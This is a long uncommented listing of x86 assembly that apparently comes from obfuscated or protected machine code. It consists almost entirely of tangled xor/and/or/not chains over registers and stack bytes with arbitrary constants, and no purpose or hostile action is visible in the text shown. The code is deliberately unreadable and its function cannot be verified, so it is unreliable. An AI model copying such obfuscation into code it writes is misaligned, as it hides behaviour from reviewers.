xor ebx, 0x2690128f
xor eax, 0xd96fed70
xor ebp, 0x6f6017b5
and ebp, ebx
and ebx, 0x2916c752
mov dword [esp], ebp
and dword [esp], esi
xor esi, ebp
or esi, dword [esp]
mov ebp, esi
not ebp
and ebp, ecx
not ecx
and ecx, esi
mov esi, eax
or eax, edi
and edi, 0xd6e938ad
and esi, 0xd6e938ad
or edx, edi
not eax
or ecx, ebp
or ebx, esi
xor edx, ebx
or eax, edx
mov edx, eax
and eax, 0x3605f937
not edx
and edx, 0xc9fa06c8
or eax, edx
mov edx, ecx
xor eax, 0x3605f937
and edx, eax
xor eax, ecx
or eax, edx
mov esi, eax
mov ecx, eax
mov edx, eax
xor esi, 0x4d36dcb6
not ecx
or edx, 0xb2c92349
and esi, eax
mov ebx, edx
mov ebp, ecx
and eax, 0xa3dcf826
mov edi, esi
and ebx, 0xb4455e16
and ebp, 0x493280a0
and esi, 0x4bbaa1e9
not edi
or ebp, ebx
or edx, edi
and edi, 0xb4455e16
or esi, edi
not edx
xor esi, ebp
or edx, esi
mov esi, edx
and edx, 0xf02198b8
not esi
and esi, 0xfde6747
or edx, esi
mov esi, edx
xor edx, 0x2e0bb60
xor esi, 0xb5054402
and edx, 0xaf2bb6c
and esi, 0xf50d4493
or esi, edx
mov edx, esi
xor edx, 0xaf2bb6c
and edx, esi
mov esi, ecx
and esi, 0x5c2307d9
or eax, esi
xor eax, 0xa92e434a
xor ecx, eax
and ecx, eax
mov eax, edx
and edx, 0xebb6036f
mov esi, ecx
not eax
and ecx, 0xebb6036f
mov edi, eax
not esi
and eax, 0x1449fc90
or edi, esi
and esi, 0x1449fc90
or edx, eax
or ecx, esi
not edi
xor ecx, edx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, ecx
xor eax, 0xe0eee7a1
and eax, ecx
not ecx
and ecx, 0xe0eee7a1
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov edx, eax
mov ecx, eax
not edx
and ecx, 0xd99a153
mov esi, edx
and edx, 0x81200224
and esi, 0xf2665eac
or esi, ecx
mov ecx, esi
xor esi, 0x4810043
xor ecx, 0x22404a2c
and esi, 0xd4a714c3
and ecx, 0x2b58eb3c
or ecx, esi
mov esi, ecx
xor ecx, 0x310291c
xor esi, 0x840104c3
and ecx, 0x53b6391c
and esi, 0xac49c6e3
or esi, ecx
mov edi, esi
xor esi, 0xac49c6e3
mov ecx, esi
xor edi, 0x12201000
or esi, 0x97a19bce
and ecx, 0x8180090e
and edi, 0x162192c0
or edi, ecx
mov ecx, esi
and esi, 0x4c1afeca
mov ebx, edi
xor edi, 0x481a6c0a
not ecx
xor ebx, 0x12210000
and ecx, 0x20440031
and edi, 0x4c1afeca
and ebx, 0x93a10104
or ecx, esi
or ebx, edi
xor ecx, ebx
mov esi, ecx
and ecx, 0x734c5809
not esi
and esi, 0x8cb3a7f6
or ecx, esi
mov esi, eax
and eax, 0x7a0bf10b
and esi, 0x4d40cd0
mov edi, ecx
or esi, edx
xor edi, 0xe4edc3c7
xor esi, 0x4d40cd0
or eax, esi
mov edx, eax
and eax, 0x85f40ef4
not edx
and edx, 0x7a0bf10b
or eax, edx
mov edx, ecx
xor ecx, 0xba16fe39
mov esi, eax
xor edx, 0x18121838
and ecx, edi
and edi, 0x38ca580
and eax, 0x39a12d1f
and edx, 0xfc735a7f
not esi
or edi, edx
mov edx, esi
or esi, 0x5efb3dfe
and edx, 0xc65ed2e0
xor edi, 0x38ca580
or eax, edx
mov ebx, edi
mov edx, eax
xor eax, 0x98a5ef1e
xor edx, 0x39a12d1f
and eax, edx
and ebx, edx
xor edx, edi
and edi, 0x5efb3dfe
mov ebp, edi
or edx, ebx
and ebp, ecx
xor ecx, edi
mov edi, eax
and eax, 0x8ee73
not edx
not edi
or ecx, ebp
mov ebp, edi
or edi, esi
and ebp, 0xfff7118c
not edi
or eax, ebp
mov ebp, esi
and esi, 0xfff7118c
not ebp
movzx ebp, bp
or ebp, esi
mov esi, dword [0x4d0db8]
xor ebp, eax
mov eax, ecx
or edi, ebp
not eax
and eax, edi
not edi
and edi, ecx
or edi, eax
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov eax, edx
and edx, 0xc80a020
not eax
mov ecx, eax
or eax, 0x5ca0b877
and ecx, 0x50201857
mov edi, eax
and eax, 0x5f7863e2
or edx, ecx
not edi
mov ecx, edx
xor edx, 0x537843c2
and edi, 0xa0070408
xor ecx, 0x808000
and edx, 0x5f7863e2
or edi, eax
and ecx, 0x809815
or ecx, edx
xor edi, ecx
mov eax, edi
and edi, 0x33058eb0
not eax
and eax, 0xccfa714f
or edi, eax
mov eax, edi
xor edi, 0x12c820
xor eax, 0x40042040
and edi, 0x2fb3dea7
and eax, 0xd04c2158
or eax, edi
mov edi, 0x2390a206
mov ecx, eax
xor eax, 0x2e10c027
xor ecx, 0x40002040
and eax, 0xbe5cc13f
and ecx, 0x41a33ec0
or ecx, eax
xor ecx, 0x41a33ec0
setne byte [esp]
sete ah
cmp esi, 9
setg bl
cmp esi, 0xa
mov esi, dword [esp + 0x58]
setl cl
mov byte [esp + 4], cl
xor cl, bl
mov al, cl
mov bh, cl
mov ch, cl
mov edx, ecx
xor al, 1
and dl, bl
mov dword [esp + 0x148], esi
and bh, al
and ch, bh
xor bh, cl
or bh, ch
mov ch, bh
xor ch, 1
or bh, ch
mov dh, bh
and al, bh
or bh, cl
not dh
xor bh, 1
and dh, cl
and cl, byte [esp + 4]
or dh, al
mov al, bh
and al, dh
xor dh, bh
or dh, al
mov al, bl
or al, ch
xor dh, dl
xor ch, bl
xor al, 1
mov bh, dh
mov dl, al
xor bh, 1
and dl, ch
xor ch, al
mov al, dh
or ch, dl
and al, bh
mov bl, ch
mov dl, al
xor al, dh
xor bl, 1
and dl, dh
and bl, ch
or al, dl
xor bl, 1
mov edx, ebx
or bl, ch
xor dl, ch
xor bl, 1
or bl, dl
mov edx, eax
xor dl, 1
and dl, bl
xor bl, 1
and bl, al
mov al, bh
and al, ch
xor ch, bh
or bl, dl
mov bh, ah
or ch, al
mov al, bl
xor ch, 1
and al, ch
xor ch, bl
or ch, al
mov al, ch
mov dh, ch
xor al, 1
mov dl, al
and dl, ch
xor dl, 1
xor dh, dl
or dl, ch
xor dl, 1
or dl, dh
mov ch, dl
xor ch, 1
or ch, dl
mov dh, ch
mov dl, ch
xor dh, 1
and dh, ch
and dl, dh
xor dh, ch
or dh, dl
mov dl, ch
xor ch, al
and dl, al
xor dh, al
or ch, dl
mov al, ch
xor al, dh
xor dh, 1
or dh, ch
xor al, 1
xor dh, 1
or dh, al
mov al, ah
mov ah, byte [esp]
mov byte [esp + 0x18], dh
xor dh, 1
mov byte [esp + 0x14], dh
xor al, ah
mov ch, ah
mov dl, ah
mov dh, al
xor dh, 1
or ch, dh
xor dl, dh
and dh, al
xor ch, 1
or ch, dl
mov dl, al
mov bl, ch
and dl, dh
xor dh, al
mov al, ch
xor bl, 1
or dh, dl
mov dl, ch
and al, bl
and ah, dh
xor dh, 1
xor dl, al
xor al, 1
and dh, bh
mov bh, byte [esp + 0x14]
or al, bl
or dh, ah
mov bl, byte [esp + 0x18]
xor al, 1
or al, dl
mov dl, al
and al, dh
xor dh, 1
mov ah, bh
xor dl, 1
and ah, bl
and dl, dh
mov byte [esp + 0x28], ah
or al, dl
mov dl, ch
and dl, dh
xor dh, ch
mov ch, bh
or dh, dl
xor ch, ah
mov dl, dh
mov byte [esp + 0x2c], ch
xor dl, al
xor al, 1
or al, dh
xor dl, 1
xor al, 1
or al, dl
mov dl, bh
and dl, ah
or dl, ch
mov ch, bl
or ch, bh
mov ah, ch
mov byte [esp], ch
xor ah, dl
xor dl, 1
or dl, ch
xor ah, 1
xor dl, 1
mov ch, dl
and ch, ah
xor ah, dl
or ah, ch
mov dl, ah
xor dl, 1
and ah, dl
mov ch, dl
and ch, ah
xor ah, dl
or ah, ch
mov ch, bl
mov dl, ah
xor dl, 1
mov dh, dl
and dh, ah
xor dl, dh
xor dh, 1
or dh, ah
mov ah, bh
xor dh, 1
or dh, dl
mov dl, dh
and dh, bl
xor dl, 1
and ah, dl
or dl, bl
or dh, ah
mov ah, dl
xor ah, dh
xor dh, 1
or dh, dl
xor ah, 1
xor dh, 1
or dh, ah
mov dl, dh
xor dl, 1
and dh, dl
mov ah, dl
and ah, dh
xor dh, dl
mov dl, cl
xor dl, 1
or dh, ah
or cl, dl
mov ah, dl
mov bh, dh
xor ah, cl
or cl, dl
mov byte [esp + 0x30], bh
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov ch, ah
or ch, cl
mov dl, ch
mov dh, ch
xor dl, 1
and dl, ch
and dh, dl
xor dl, ch
or dl, dh
mov dh, cl
xor dh, ah
mov bl, dl
xor dl, 1
and dh, cl
and cl, ah
and bl, dh
xor dh, 1
xor cl, 1
and dl, dh
or dl, bl
mov bl, dh
xor dh, ch
and bl, ch
xor dl, 1
or dh, bl
mov ch, dl
mov bl, al
or dl, dh
xor ch, dh
xor bl, 1
xor dl, 1
or dl, ch
mov ch, cl
or cl, ah
xor ch, ah
mov ah, dl
xor cl, 1
xor ah, 1
or cl, ch
and ah, dl
xor cl, 1
mov ch, ah
xor ah, dl
and ch, dl
or ah, ch
mov ch, dl
xor ah, cl
xor ch, cl
or cl, dl
xor cl, 1
xor ah, 1
or cl, ch
mov dl, ah
mov ch, bl
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
or cl, dl
xor cl, dl
and dl, cl
mov ah, cl
xor ah, dl
xor dl, 1
or dl, cl
xor ah, 1
xor dl, 1
or dl, ah
mov cl, dl
xor cl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
and ah, cl
xor dl, ah
xor ah, 1
or ah, cl
mov cl, bl
xor ah, 1
and cl, al
or ah, dl
mov edx, ecx
and ch, cl
mov byte [esp + 0xc], ah
mov ah, bl
xor dl, 1
xor ah, cl
mov cl, al
xor cl, dl
or dl, al
or ah, ch
xor dl, 1
mov ch, ah
or dl, cl
xor ch, 1
mov cl, dl
or dl, al
mov byte [esp + 0x32], ch
xor cl, al
or al, bl
mov byte [esp + 4], dl
mov edx, eax
mov byte [esp + 0x34], cl
mov cl, al
xor dl, 1
mov byte [esp + 0x27], dl
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
and cl, ch
xor dl, 1
and dl, ah
or cl, dl
mov dl, ah
xor dl, al
xor cl, 1
and dl, ah
and ah, al
mov byte [esp + 0x33], dl
mov edx, eax
and al, bl
mov byte [esp + 8], ah
xor dl, bl
or dl, al
mov eax, ecx
or cl, dl
xor al, dl
mov edx, ebx
xor cl, 1
or cl, al
mov eax, ecx
xor dl, cl
xor al, 1
and dl, bl
or bl, al
mov ah, dl
xor bl, 1
and ah, bl
xor bl, dl
or bl, ah
mov edx, ebx
and bl, cl
xor dl, 1
and al, dl
or bl, al
xor dl, bl
and dl, bl
mov bl, bh
xor bl, 1
mov byte [esp + 0x26], dl
mov edx, ebx
and dl, bh
mov eax, edx
xor dl, bl
and al, bl
or dl, al
mov ah, dl
mov ch, dl
xor ah, 1
and ch, ah
mov al, ch
xor ch, dl
and al, dl
or ch, al
mov al, bh
or al, bl
mov dh, al
xor dh, 1
mov cl, dh
and cl, al
mov bh, cl
xor cl, dh
and bh, dh
mov dh, byte [esp + 0xc]
or cl, bh
xor cl, ch
mov ch, ah
xor ah, al
and ch, al
xor al, bl
or ah, ch
and bl, al
xor al, 1
mov ch, ah
xor ch, cl
xor cl, 1
or cl, ah
xor ch, 1
xor cl, 1
or cl, ch
mov ch, dh
xor ch, 1
mov byte [esp + 0x20], cl
mov ah, ch
mov bh, ch
mov byte [esp + 0x39], ch
and ah, dh
or dh, ch
mov byte [esp + 0x10], ah
xor ah, 1
xor bh, ah
or ah, ch
mov ch, byte [esp + 0xc]
xor ah, 1
or ah, bh
mov bh, dh
mov cl, ah
xor bh, 1
xor cl, 1
and ah, bh
mov bh, byte [esp + 0x20]
and cl, dh
or ah, cl
mov cl, ch
and cl, dh
xor dh, ch
or dh, cl
mov cl, ah
mov ch, bh
xor dh, 1
and cl, dh
xor dh, ah
mov ah, bh
or dh, cl
xor ah, 1
mov cl, dh
and ch, dh
xor cl, 1
mov byte [esp + 0x1c], cl
and cl, ah
or ch, cl
mov cl, ah
mov byte [esp + 0x31], ch
xor ch, ah
and ah, dh
and cl, bh
mov byte [esp + 0x3a], ch
mov ch, byte [esp + 0x1c]
mov byte [esp + 0x3b], ah
mov ah, dh
xor cl, 1
or cl, bh
and dh, ch
xor ah, ch
mov ch, byte [esp + 0x39]
or ah, dh
mov dh, bl
and dh, al
xor al, bl
or al, dh
mov dh, cl
mov ebx, eax
xor dh, 1
xor bl, 1
and al, dh
and bl, cl
xor cl, dl
mov dl, byte [esp + 0x30]
or bl, al
mov al, dh
and al, dl
xor dh, dl
or dh, al
mov al, cl
xor dh, 1
and al, dh
xor dh, cl
or dh, al
mov al, dh
mov cl, dh
xor al, 1
and al, dh
xor al, 1
xor cl, al
or al, dh
mov dh, bl
xor al, 1
or al, cl
mov cl, al
mov dl, al
or al, bl
xor bl, 1
xor cl, 1
and dl, bl
xor al, 1
and dh, cl
xor cl, bl
movzx ebx, byte [esp + 0x10]
or al, cl
or dh, dl
mov dl, ah
xor al, 1
mov cl, dh
and cl, al
xor al, dh
mov dh, ah
or al, cl
mov cl, ch
xor dh, 1
and cl, bl
xor bl, ch
mov bh, dh
mov byte [esp + 0x30], dh
or bl, cl
xor bh, ah
mov cl, bl
mov byte [esp + 0x10], bl
and bh, dh
xor cl, 1
xor dl, cl
or bl, cl
and cl, ah
and dl, ah
or ah, dh
xor ah, 1
xor bh, ah
mov dh, bh
xor dh, 1
and dh, ah
mov ah, dh
xor dh, bh
and ah, bh
or dh, ah
mov ah, bl
xor ah, 1
and ah, bl
xor ah, 1
mov bh, ah
or ah, bl
xor bh, bl
xor ah, 1
or ah, bh
mov bh, ah
and ah, ch
xor bh, 1
and bh, byte [esp + 0xc]
or ah, bh
mov bh, bl
xor bl, ch
and bh, ch
or bl, bh
mov bh, ah
xor bl, 1
and bh, bl
xor bl, ah
mov ah, dh
xor ah, 1
or bl, bh
and dh, ah
mov bh, ah
and bh, dh
xor dh, ah
mov ah, byte [esp + 0x10]
or dh, bh
xor dh, bl
and ah, byte [esp + 0x30]
or cl, ah
mov ah, dl
and ah, cl
xor cl, dl
or cl, ah
mov dl, cl
xor dl, 1
and dl, cl
xor dl, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
or dl, ah
mov ah, dh
and ah, cl
xor cl, dh
xor dl, dh
or cl, ah
mov ah, dl
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ah
and al, dl
mov ah, dl
and ah, al
xor al, dl
mov ch, cl
mov bh, cl
or al, ah
mov edx, eax
mov ah, al
xor dl, 1
or dl, al
xor dl, 1
and ah, dl
xor dl, al
or dl, ah
mov ah, cl
xor ah, 1
or ch, ah
mov dh, ch
mov al, ch
mov bl, ch
xor dh, 1
and al, dh
or dh, ah
and bl, al
xor al, ch
xor ch, cl
and cl, ah
xor dh, 1
xor bh, cl
xor cl, 1
or al, bl
or dh, ch
or cl, ah
mov ah, byte [esp + 0x1c]
xor cl, 1
or cl, bh
mov ebx, ecx
xor bl, 1
and ah, byte [esp + 0x20]
and bl, al
xor al, 1
and al, cl
or al, bl
xor al, 1
or ah, byte [esp + 0x3b]
mov ecx, eax
or al, dh
xor cl, dh
xor al, 1
mov dh, byte [esp + 0x26]
or al, cl
xor al, 1
mov ecx, eax
xor al, dl
xor al, 1
or cl, dl
and al, dl
mov dl, cl
xor dl, al
xor al, 1
or al, cl
xor dl, 1
xor al, 1
or al, dl
mov dl, byte [esp + 0x3a]
and dl, byte [esp + 0x31]
mov ecx, edx
mov ch, dl
mov dl, ah
xor cl, 1
xor dl, 1
and ah, cl
or cl, dl
and dl, ch
xor cl, 1
or dl, ah
mov ah, cl
and ah, dl
xor dl, cl
or dl, ah
mov ecx, edx
mov ah, dl
xor cl, 1
or ah, cl
xor cl, ah
or ah, dl
xor ah, 1
xor cl, 1
mov dl, ah
and dl, cl
xor cl, ah
or cl, dl
mov dl, cl
xor dl, 1
and cl, dl
mov ah, dl
and ah, cl
xor cl, dl
or cl, ah
mov ah, al
xor ah, 1
mov dl, ah
xor ah, cl
and dl, cl
or ah, dl
mov dl, cl
xor cl, al
xor cl, 1
or dl, al
and cl, al
mov al, dl
xor al, cl
xor cl, 1
or cl, dl
xor al, 1
xor cl, 1
or cl, al
mov al, ah
mov dl, cl
xor al, 1
and cl, ah
xor dl, 1
or ah, dl
and dl, al
or dl, cl
mov al, ah
xor al, dl
xor dl, 1
or dl, ah
xor al, 1
xor dl, 1
or dl, al
mov al, dh
xor al, 1
mov ecx, eax
mov ah, al
and cl, dh
and ah, cl
xor cl, al
xor al, dh
or cl, ah
and al, dh
mov ah, cl
mov ch, cl
xor ah, 1
or ch, dh
and ah, cl
xor cl, dh
xor ch, 1
xor al, ah
or ch, cl
mov dh, al
xor dh, 1
and dh, ah
mov cl, dh
xor dh, al
and cl, al
mov al, ch
or dh, cl
xor al, 1
mov cl, dh
mov ah, dh
xor cl, 1
or ah, cl
and cl, al
or al, ch
xor al, ch
mov ebx, eax
and bl, ch
xor bl, 1
mov bh, bl
or bl, al
xor bh, al
mov al, ah
xor bl, 1
xor al, 1
or bl, bh
and al, ah
xor al, 1
mov bh, al
or al, ah
xor bh, ah
xor al, 1
or al, bh
mov bh, dh
and bh, ah
xor ah, dh
xor al, dh
or ah, bh
mov bh, al
xor bh, ah
or ah, al
xor ah, 1
or ah, bh
mov al, ah
xor al, 1
and al, ah
mov bh, al
xor al, ah
and bh, ah
mov ah, bl
or al, bh
xor ah, 1
and ah, al
xor al, 1
and al, bl
or al, ah
mov ah, ch
xor ah, dh
and dh, ch
and ah, ch
or dh, cl
mov cl, ah
and cl, dh
xor dh, ah
mov ah, al
or dh, cl
mov ecx, eax
xor cl, 1
and ah, cl
mov ch, ah
xor ah, al
xor ch, 1
or ch, cl
xor ch, 1
or ch, ah
mov ah, cl
xor cl, dh
mov al, ch
and ah, dh
and ch, dh
xor dh, 1
xor al, 1
or cl, ah
and al, dh
xor cl, 1
mov dh, dl
or ch, al
mov al, ch
and al, cl
xor cl, ch
or cl, al
mov eax, edx
xor al, 1
mov ebx, ecx
mov ah, al
mov ch, al
or dh, al
xor al, dl
and ah, dl
xor ch, ah
or al, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
mov ch, dh
mov dl, ah
xor ch, 1
xor dl, 1
and ch, dl
or dl, dh
and dh, ah
or dh, ch
mov ah, dl
xor dh, 1
xor ah, dh
or dh, dl
xor dh, 1
or dh, ah
mov dl, dh
mov ah, dh
xor dl, 1
and dl, dh
and ah, dl
xor dl, dh
or dl, ah
mov ah, cl
xor ah, 1
mov ch, ah
or ch, cl
mov dh, ch
and bl, ch
xor ch, ah
xor dh, 1
mov bh, dh
or dh, cl
and cl, ah
xor dh, 1
and bh, ah
or dh, ch
or bh, bl
mov ch, dh
xor ch, bh
xor bh, 1
or bh, dh
xor ch, 1
xor bh, 1
or bh, ch
mov ch, bh
xor ch, 1
and bh, ch
mov dh, ch
and dh, bh
xor bh, ch
or bh, dh
mov ch, bh
xor ch, 1
mov dh, ch
and dh, bh
xor ch, dh
xor dh, 1
or dh, bh
xor dh, 1
or dh, ch
mov ch, dh
mov bl, dh
xor ch, 1
or ch, dh
xor ch, 1
and bl, ch
xor ch, dh
or ch, bl
mov dh, ch
xor dh, 1
mov bl, dh
and bl, ch
xor dh, bl
xor bl, 1
or bl, ch
mov ch, ah
and ch, cl
xor cl, ah
xor bl, 1
or cl, ch
or bl, dh
xor cl, 1
mov ch, cl
xor cl, ah
and ch, ah
mov ah, dl
xor ah, 1
or cl, ch
mov ch, ah
xor ah, al
mov dh, cl
and ch, al
or ah, ch
mov ch, al
xor al, dl
xor al, 1
or ch, dl
and al, dl
mov dl, ch
xor dl, al
xor al, 1
or al, ch
xor dl, 1
xor al, 1
or al, dl
mov dl, ah
xor dl, al
xor al, 1
or al, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov dl, bl
or al, ah
xor dl, 1
mov ah, bl
and ah, dl
mov ch, ah
xor ah, dl
xor ch, 1
or ch, bl
xor ch, 1
or ch, ah
mov ah, cl
xor ah, 1
xor dh, ah
and dh, cl
mov bl, dh
mov byte [esp + 0xc], dh
xor bl, 1
mov bh, bl
and bh, dh
xor bh, 1
xor byte [esp + 0xc], bh
or bh, dh
mov dh, cl
xor bh, 1
or dh, ah
xor ah, dl
or bh, byte [esp + 0xc]
mov byte [esp + 0xc], bl
and byte [esp + 0xc], dh
xor bl, dh
xor ah, 1
or bl, byte [esp + 0xc]
xor bh, dh
xor bl, 1
mov dh, bh
and dh, bl
xor bl, bh
or bl, dh
mov dh, bl
xor dh, 1
and dh, ch
xor ch, 1
and ch, bl
or dh, ch
mov ch, dl
or dl, cl
xor ch, cl
xor dl, 1
mov cl, ah
or dl, ch
xor dl, 1
and cl, dl
xor dl, ah
or dl, cl
mov ecx, edx
mov ah, dl
xor cl, 1
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov dl, cl
xor dl, 1
mov ah, dl
mov ch, dl
and ah, cl
xor ch, ah
xor ah, 1
or ah, cl
or cl, dh
xor ah, 1
xor cl, 1
or ah, ch
mov ch, ah
xor ah, 1
and ch, dh
xor dh, 1
and ah, dh
xor dh, dl
or ah, ch
or cl, dh
xor ah, 1
mov dl, ah
or ah, cl
xor dl, cl
xor ah, 1
mov ecx, eax
or ah, dl
xor cl, 1
mov edx, eax
or dl, cl
mov ch, dl
xor ch, 1
and ch, al
or al, dl
and dl, cl
or dl, ch
mov ecx, eax
mov ch, byte [esp + 0x18]
xor cl, dl
xor dl, 1
or dl, al
xor cl, 1
xor dl, 1
or dl, cl
mov cl, ah
xor cl, 1
or ah, cl
xor ah, cl
and cl, ah
mov al, ah
xor al, cl
xor cl, 1
or cl, ah
xor al, 1
xor cl, 1
or cl, al
movzx eax, byte [esp + 0x28]
xor cl, dl
mov byte [esp + 0xc], cl
mov cl, byte [esp + 0x14]
xor al, 1
or al, ch
xor al, 1
mov edx, ecx
or al, byte [esp + 0x2c]
xor dl, ch
mov ah, al
xor ah, 1
and ah, al
xor ah, 1
mov al, ah
xor ah, cl
or al, cl
mov ecx, eax
xor cl, ah
xor ah, 1
or ah, al
mov al, byte [esp + 0x32]
xor cl, 1
xor ah, 1
or ah, cl
movzx ecx, byte [esp + 8]
mov dh, ah
mov ah, byte [esp + 0x33]
and al, byte [esp + 0x27]
mov bl, dh
mov byte [esp + 0x1c], dh
xor bl, 1
mov byte [esp + 0x10], bl
or cl, al
mov al, ah
xor ah, cl
xor al, 1
xor cl, 1
or cl, al
mov al, bl
xor cl, 1
and al, dh
or cl, ah
mov ah, al
xor al, dh
xor ah, 1
mov byte [esp + 8], cl
or ah, bl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov ecx, eax
and cl, ah
xor al, cl
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
movzx eax, byte [esp]
mov ah, cl
xor ah, 1
mov ch, ah
xor al, 1
or al, dl
mov ebx, eax
mov byte [esp], al
mov al, byte [esp + 4]
xor al, 1
or al, byte [esp + 0x34]
mov byte [esp + 4], al
mov al, ah
and al, cl
and ch, al
xor al, ah
or ah, cl
or al, ch
mov ch, bl
mov dh, al
xor ch, 1
xor dh, ah
or ah, al
mov al, bl
xor ah, 1
or al, ch
or ah, dh
mov dh, al
xor dh, 1
mov bh, dh
and bh, al
xor al, byte [esp]
mov dl, bh
xor bh, dh
and dl, dh
or dh, ch
or bh, dl
mov dl, ch
xor dh, 1
and dl, bl
or dh, al
xor dl, 1
mov bl, dl
or dl, byte [esp]
xor bl, byte [esp]
xor dl, 1
or dl, bl
mov bl, bh
xor bl, 1
and bl, dl
xor dl, 1
and dl, bh
or dl, bl
xor dl, 1
mov al, dl
or dl, dh
xor al, dh
xor dl, 1
or dl, al
mov al, dl
mov dh, dl
xor al, 1
and dh, al
mov bl, dh
xor dh, dl
xor bl, 1
or bl, al
mov al, cl
or al, ch
xor ch, cl
xor bl, 1
xor al, 1
or bl, dh
mov cl, al
xor bl, ah
mov ah, byte [esp + 8]
and cl, ch
xor ch, al
or ch, cl
mov al, ch
xor al, 1
mov bh, ah
mov cl, al
xor bh, 1
and cl, ch
mov dh, bh
mov byte [esp + 0x14], bh
mov dl, cl
xor cl, al
or dh, ah
xor dl, 1
xor dh, 1
or dl, ch
or dh, bh
xor dl, 1
or dl, cl
mov cl, dh
xor dl, bl
xor bl, 1
xor cl, 1
mov eax, ebx
mov byte [esp], cl
and al, ch
xor ch, bl
mov bl, dh
or ch, al
mov eax, edx
xor ch, 1
and al, ch
xor ch, dl
mov dl, byte [esp + 4]
or ch, al
mov al, dh
or al, cl
or bl, al
xor al, cl
mov cl, dl
xor al, 1
xor bl, 1
or bl, al
xor cl, 1
mov eax, edx
or al, cl
and dh, cl
mov bh, al
or al, dl
xor al, 1
xor bh, dl
mov dl, al
xor al, bh
and dl, bh
or al, dl
mov ah, al
mov dl, al
xor ah, 1
and dl, ah
mov bh, dl
xor dl, al
mov al, bl
xor bh, 1
xor al, 1
or bh, ah
mov ah, byte [esp + 0x14]
xor bh, 1
or bh, dl
mov dl, byte [esp]
and al, bh
xor bh, 1
and bh, bl
mov bl, byte [esp + 0x1c]
or bh, al
mov al, byte [esp + 4]
and ah, bl
and al, dl
or dh, al
mov al, dl
and al, cl
xor cl, dl
or cl, al
mov al, dh
xor cl, 1
and al, cl
xor cl, dh
mov dh, ch
or cl, al
mov al, bh
xor dh, 1
xor cl, 1
xor al, cl
or cl, bh
xor cl, 1
or cl, al
xor al, 1
mov dl, al
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov al, cl
xor cl, dh
xor al, 1
xor cl, 1
xor ch, al
xor dh, cl
or ch, al
and dh, cl
mov al, ch
mov dl, dh
xor al, 1
xor dl, ch
and ch, al
xor dl, 1
mov cl, ch
xor ch, al
and cl, al
or ch, cl
mov cl, byte [esp + 0xc]
xor ch, dh
or dh, al
mov al, bl
xor dh, 1
or dh, dl
mov dl, ch
xor dh, 1
xor cl, 1
and dl, dh
xor dh, ch
mov byte [esp], cl
movzx ecx, byte [esp + 8]
or dh, dl
mov dl, byte [esp + 0x10]
mov ch, dh
xor ch, 1
xor al, cl
and dl, cl
xor al, 1
or dl, ah
and al, cl
or cl, bl
mov ah, dl
xor cl, 1
xor ah, bl
mov bl, ch
and ah, dl
mov dl, al
and bl, dh
and dl, cl
xor cl, al
mov al, ah
or cl, dl
xor al, 1
mov dl, cl
and cl, al
xor dl, 1
or al, dl
and dl, ah
or dl, cl
mov ah, al
xor ah, dl
xor dl, 1
or dl, al
xor ah, 1
xor dl, 1
or dl, ah
mov eax, edx
xor al, 1
or dl, al
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov ah, ch
and ah, bl
xor bl, ch
mov bh, dl
or bl, ah
xor bh, 1
mov ah, bl
mov cl, bh
xor ah, 1
xor cl, bl
or bl, ah
or ah, bh
and dh, bl
xor bl, 1
mov al, bl
xor al, ch
and al, bl
and bl, ch
or bl, dh
mov ch, al
and ch, bl
xor bl, al
mov al, bh
and al, dl
or bl, ch
mov ch, al
xor al, bh
xor ch, 1
or ch, dl
or dl, bh
xor ch, 1
or ch, al
xor ch, 1
mov al, ch
xor al, dl
or dl, ch
xor dl, 1
or dl, al
xor dl, 1
mov al, dl
xor dl, bl
or al, bl
xor dl, 1
xor al, 1
and dl, bl
mov ch, al
and ch, dl
xor dl, al
mov al, cl
xor al, ah
or ah, cl
or dl, ch
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov ch, al
and ch, ah
xor al, ch
xor ch, 1
or ch, ah
mov ah, dl
xor ch, 1
or ch, al
mov al, dl
xor al, 1
and al, ch
xor ch, 1
xor ah, ch
and ch, dl
and ah, dl
or ch, al
xor ah, 1
xor ch, 1
mov al, ah
xor al, ch
or ch, ah
xor ch, 1
or ch, al
mov ah, ch
xor ah, 1
mov dl, ah
mov al, ah
mov dh, ah
and dl, ch
and al, dl
xor dh, dl
xor dl, 1
or dh, al
mov al, ch
xor al, dl
or dl, ch
or ch, ah
mov bl, dh
mov bh, dh
xor bl, ch
xor ch, 1
xor dl, 1
xor bh, ch
or ch, dh
xor bl, 1
or dl, al
xor ch, 1
xor bh, 1
xor dl, 1
or ch, bl
mov dh, bh
mov al, dl
xor dl, ah
xor dh, ch
or ch, bh
and al, ah
xor ch, 1
or dl, al
or ch, dh
mov dh, ch
xor dh, 1
and ch, dh
mov bl, ch
xor ch, dh
and bl, dh
or ch, bl
mov al, ch
mov dh, ch
xor ch, dl
and al, dl
xor dh, 1
or ch, al
mov eax, edx
xor dl, dh
or al, dh
xor dl, 1
xor ch, 1
xor al, 1
and dl, dh
mov ah, al
and ah, dl
xor dl, al
or dl, ah
xor dl, ch
mov eax, edx
xor al, 1
and al, ch
mov ah, al
xor al, dl
and ah, dl
or al, ah
mov edx, eax
xor dl, 1
mov ah, dl
mov ch, dl
and ah, al
and ch, ah
xor ah, dl
or ah, ch
mov ch, ah
xor ch, 1
or ch, ah
mov ah, ch
xor al, ch
xor ch, dl
and ah, dl
xor al, 1
or ch, ah
mov edx, eax
xor ch, 1
and dl, ch
xor ch, al
or ch, dl
mov al, ch
xor al, 1
mov edx, eax
and dl, ch
